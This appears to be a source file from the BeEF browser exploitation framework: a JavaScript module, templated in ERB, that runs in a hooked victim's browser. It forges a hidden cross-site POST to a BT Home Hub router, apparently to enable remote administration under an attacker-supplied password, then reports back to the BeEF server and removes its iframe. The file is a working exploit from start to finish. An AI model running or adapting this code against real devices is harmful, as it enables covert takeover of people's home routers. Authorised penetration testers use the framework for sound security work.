27 lines
863 B
JavaScript
27 lines
863 B
JavaScript
//
|
|
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
var gateway = '<%= @base %>';
|
|
var passwd = '<%= @password %>';
|
|
var timeout = 15;
|
|
|
|
var bt_home_hub_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/cgi/b/ras//?ce=1&be=1&l0=5&l1=5", "POST", "application/x-www-form-urlencoded", [
|
|
{'type':'hidden', 'name':'0', 'value':'31'} ,
|
|
{'type':'hidden', 'name':'1', 'value':''},
|
|
{'type':'hidden', 'name':'30', 'value':passwd}
|
|
]);
|
|
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
|
|
|
|
cleanup = function() {
|
|
document.body.removeChild(bt_home_hub_iframe_<%= @command_id %>);
|
|
}
|
|
setTimeout("cleanup()", timeout*1000);
|
|
|
|
});
|
|
|